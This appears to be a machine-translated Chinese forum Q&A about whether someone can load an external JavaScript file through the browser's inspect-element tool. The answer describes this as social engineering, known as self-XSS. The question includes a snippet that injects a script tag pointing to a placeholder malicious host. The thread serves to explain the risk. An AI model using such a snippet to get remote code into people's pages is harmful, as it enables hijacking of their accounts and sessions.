是否可以通过“检查元素”特性加载外部JS脚本？

Question

1. 开式检查元件
2. 右键单击body标记或任何地方，然后编辑为HTML：；单击加载外部脚本。 >函数loadScript(){ var script = document.createElement('script')；script.setAttribute('type'，'text/javascript')；script.setAttribute('src'，‘<a href="http://malicious-website/malicious-script.js'">http://malicious-website/malicious-script.js‘</a>’)；document.head.appendChild(脚本)；}

那么，这种攻击有可能发生吗？

Answer 1

我会把它归类为“社会工程”，有人告诉三分之一的人用他们的devtools来做。是的，这是一个可能的攻击媒介。

当你在facebook上打开F12工具时，经常会受到警告。

来自(德语) facebook。

他们叫它自XSS